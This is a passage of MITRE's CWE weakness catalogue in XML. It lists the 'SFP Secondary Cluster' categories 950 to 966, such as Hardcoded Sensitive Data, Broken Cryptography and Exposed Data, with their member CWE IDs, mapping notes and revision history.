            <Has_Member CWE_ID="350" View_ID="888"/>
            <Has_Member CWE_ID="360" View_ID="888"/>
            <Has_Member CWE_ID="551" View_ID="888"/>
            <Has_Member CWE_ID="565" View_ID="888"/>
            <Has_Member CWE_ID="647" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="950" Name="SFP Secondary Cluster: Hardcoded Sensitive Data" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).</Summary>
         <Relationships>
            <Has_Member CWE_ID="258" View_ID="888"/>
            <Has_Member CWE_ID="259" View_ID="888"/>
            <Has_Member CWE_ID="321" View_ID="888"/>
            <Has_Member CWE_ID="547" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="951" Name="SFP Secondary Cluster: Insecure Authentication Policy" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="262" View_ID="888"/>
            <Has_Member CWE_ID="263" View_ID="888"/>
            <Has_Member CWE_ID="521" View_ID="888"/>
            <Has_Member CWE_ID="556" View_ID="888"/>
            <Has_Member CWE_ID="613" View_ID="888"/>
            <Has_Member CWE_ID="645" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="952" Name="SFP Secondary Cluster: Missing Authentication" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="306" View_ID="888"/>
            <Has_Member CWE_ID="620" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="953" Name="SFP Secondary Cluster: Missing Endpoint Authentication" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).</Summary>
         <Relationships>
            <Has_Member CWE_ID="422" View_ID="888"/>
            <Has_Member CWE_ID="425" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="954" Name="SFP Secondary Cluster: Multiple Binds to the Same Port" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).</Summary>
         <Relationships>
            <Has_Member CWE_ID="605" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="955" Name="SFP Secondary Cluster: Unrestricted Authentication" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).</Summary>
         <Relationships>
            <Has_Member CWE_ID="307" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="956" Name="SFP Secondary Cluster: Channel Attack" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="290" View_ID="888"/>
            <Has_Member CWE_ID="294" View_ID="888"/>
            <Has_Member CWE_ID="300" View_ID="888"/>
            <Has_Member CWE_ID="301" View_ID="888"/>
            <Has_Member CWE_ID="419" View_ID="888"/>
            <Has_Member CWE_ID="420" View_ID="888"/>
            <Has_Member CWE_ID="421" View_ID="888"/>
            <Has_Member CWE_ID="441" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="957" Name="SFP Secondary Cluster: Protocol Error" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="353" View_ID="888"/>
            <Has_Member CWE_ID="435" View_ID="888"/>
            <Has_Member CWE_ID="436" View_ID="888"/>
            <Has_Member CWE_ID="437" View_ID="888"/>
            <Has_Member CWE_ID="757" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="958" Name="SFP Secondary Cluster: Broken Cryptography" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="325" View_ID="888"/>
            <Has_Member CWE_ID="327" View_ID="888"/>
            <Has_Member CWE_ID="328" View_ID="888"/>
            <Has_Member CWE_ID="759" View_ID="888"/>
            <Has_Member CWE_ID="760" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="959" Name="SFP Secondary Cluster: Weak Cryptography" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="261" View_ID="888"/>
            <Has_Member CWE_ID="322" View_ID="888"/>
            <Has_Member CWE_ID="323" View_ID="888"/>
            <Has_Member CWE_ID="324" View_ID="888"/>
            <Has_Member CWE_ID="326" View_ID="888"/>
            <Has_Member CWE_ID="329" View_ID="888"/>
            <Has_Member CWE_ID="347" View_ID="888"/>
            <Has_Member CWE_ID="640" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="960" Name="SFP Secondary Cluster: Ambiguous Exception Type" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).</Summary>
         <Relationships>
            <Has_Member CWE_ID="396" View_ID="888"/>
            <Has_Member CWE_ID="397" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="961" Name="SFP Secondary Cluster: Incorrect Exception Behavior" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).</Summary>
         <Relationships>
            <Has_Member CWE_ID="392" View_ID="888"/>
            <Has_Member CWE_ID="393" View_ID="888"/>
            <Has_Member CWE_ID="455" View_ID="888"/>
            <Has_Member CWE_ID="460" View_ID="888"/>
            <Has_Member CWE_ID="544" View_ID="888"/>
            <Has_Member CWE_ID="584" View_ID="888"/>
            <Has_Member CWE_ID="636" View_ID="888"/>
            <Has_Member CWE_ID="703" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="962" Name="SFP Secondary Cluster: Unchecked Status Condition" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).</Summary>
         <Relationships>
            <Has_Member CWE_ID="248" View_ID="888"/>
            <Has_Member CWE_ID="252" View_ID="888"/>
            <Has_Member CWE_ID="253" View_ID="888"/>
            <Has_Member CWE_ID="273" View_ID="888"/>
            <Has_Member CWE_ID="280" View_ID="888"/>
            <Has_Member CWE_ID="372" View_ID="888"/>
            <Has_Member CWE_ID="390" View_ID="888"/>
            <Has_Member CWE_ID="391" View_ID="888"/>
            <Has_Member CWE_ID="394" View_ID="888"/>
            <Has_Member CWE_ID="395" View_ID="888"/>
            <Has_Member CWE_ID="431" View_ID="888"/>
            <Has_Member CWE_ID="478" View_ID="888"/>
            <Has_Member CWE_ID="484" View_ID="888"/>
            <Has_Member CWE_ID="600" View_ID="888"/>
            <Has_Member CWE_ID="665" View_ID="888"/>
            <Has_Member CWE_ID="754" View_ID="888"/>
            <Has_Member CWE_ID="755" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="963" Name="SFP Secondary Cluster: Exposed Data" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster (SFP23).</Summary>
         <Relationships>
            <Has_Member CWE_ID="11" View_ID="888"/>
            <Has_Member CWE_ID="117" View_ID="888"/>
            <Has_Member CWE_ID="12" View_ID="888"/>
            <Has_Member CWE_ID="13" View_ID="888"/>
            <Has_Member CWE_ID="14" View_ID="888"/>
            <Has_Member CWE_ID="200" View_ID="888"/>
            <Has_Member CWE_ID="201" View_ID="888"/>
            <Has_Member CWE_ID="209" View_ID="888"/>
            <Has_Member CWE_ID="210" View_ID="888"/>
            <Has_Member CWE_ID="211" View_ID="888"/>
            <Has_Member CWE_ID="212" View_ID="888"/>
            <Has_Member CWE_ID="213" View_ID="888"/>
            <Has_Member CWE_ID="214" View_ID="888"/>
            <Has_Member CWE_ID="215" View_ID="888"/>
            <Has_Member CWE_ID="219" View_ID="888"/>
            <Has_Member CWE_ID="220" View_ID="888"/>
            <Has_Member CWE_ID="226" View_ID="888"/>
            <Has_Member CWE_ID="244" View_ID="888"/>
            <Has_Member CWE_ID="256" View_ID="888"/>
            <Has_Member CWE_ID="257" View_ID="888"/>
            <Has_Member CWE_ID="260" View_ID="888"/>
            <Has_Member CWE_ID="311" View_ID="888"/>
            <Has_Member CWE_ID="312" View_ID="888"/>
            <Has_Member CWE_ID="313" View_ID="888"/>
            <Has_Member CWE_ID="314" View_ID="888"/>
            <Has_Member CWE_ID="315" View_ID="888"/>
            <Has_Member CWE_ID="316" View_ID="888"/>
            <Has_Member CWE_ID="317" View_ID="888"/>
            <Has_Member CWE_ID="318" View_ID="888"/>
            <Has_Member CWE_ID="319" View_ID="888"/>
            <Has_Member CWE_ID="374" View_ID="888"/>
            <Has_Member CWE_ID="375" View_ID="888"/>
            <Has_Member CWE_ID="402" View_ID="888"/>
            <Has_Member CWE_ID="403" View_ID="888"/>
            <Has_Member CWE_ID="433" View_ID="888"/>
            <Has_Member CWE_ID="495" View_ID="888"/>
            <Has_Member CWE_ID="497" View_ID="888"/>
            <Has_Member CWE_ID="498" View_ID="888"/>
            <Has_Member CWE_ID="499" View_ID="888"/>
            <Has_Member CWE_ID="5" View_ID="888"/>
            <Has_Member CWE_ID="501" View_ID="888"/>
            <Has_Member CWE_ID="522" View_ID="888"/>
            <Has_Member CWE_ID="523" View_ID="888"/>
            <Has_Member CWE_ID="526" View_ID="888"/>
            <Has_Member CWE_ID="527" View_ID="888"/>
            <Has_Member CWE_ID="528" View_ID="888"/>
            <Has_Member CWE_ID="529" View_ID="888"/>
            <Has_Member CWE_ID="530" View_ID="888"/>
            <Has_Member CWE_ID="532" View_ID="888"/>
            <Has_Member CWE_ID="535" View_ID="888"/>
            <Has_Member CWE_ID="536" View_ID="888"/>
            <Has_Member CWE_ID="537" View_ID="888"/>
            <Has_Member CWE_ID="538" View_ID="888"/>
            <Has_Member CWE_ID="539" View_ID="888"/>
            <Has_Member CWE_ID="540" View_ID="888"/>
            <Has_Member CWE_ID="541" View_ID="888"/>
            <Has_Member CWE_ID="546" View_ID="888"/>
            <Has_Member CWE_ID="548" View_ID="888"/>
            <Has_Member CWE_ID="550" View_ID="888"/>
            <Has_Member CWE_ID="552" View_ID="888"/>
            <Has_Member CWE_ID="555" View_ID="888"/>
            <Has_Member CWE_ID="591" View_ID="888"/>
            <Has_Member CWE_ID="598" View_ID="888"/>
            <Has_Member CWE_ID="607" View_ID="888"/>
            <Has_Member CWE_ID="612" View_ID="888"/>
            <Has_Member CWE_ID="615" View_ID="888"/>
            <Has_Member CWE_ID="642" View_ID="888"/>
            <Has_Member CWE_ID="668" View_ID="888"/>
            <Has_Member CWE_ID="669" View_ID="888"/>
            <Has_Member CWE_ID="7" View_ID="888"/>
            <Has_Member CWE_ID="756" View_ID="888"/>
            <Has_Member CWE_ID="767" View_ID="888"/>
            <Has_Member CWE_ID="8" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="964" Name="SFP Secondary Cluster: Exposure Temporary File" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="377" View_ID="888"/>
            <Has_Member CWE_ID="378" View_ID="888"/>
            <Has_Member CWE_ID="379" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="965" Name="SFP Secondary Cluster: Insecure Session Management" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="488" View_ID="888"/>
            <Has_Member CWE_ID="524" View_ID="888"/>
            <Has_Member CWE_ID="6" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="966" Name="SFP Secondary Cluster: Other Exposures" Status="Incomplete">
         <Summary>This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.</Summary>
         <Relationships>
            <Has_Member CWE_ID="453" View_ID="888"/>
            <Has_Member CWE_ID="487" View_ID="888"/>
            <Has_Member CWE_ID="492" View_ID="888"/>
            <Has_Member CWE_ID="525" View_ID="888"/>
            <Has_Member CWE_ID="614" View_ID="888"/>
            <Has_Member CWE_ID="651" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
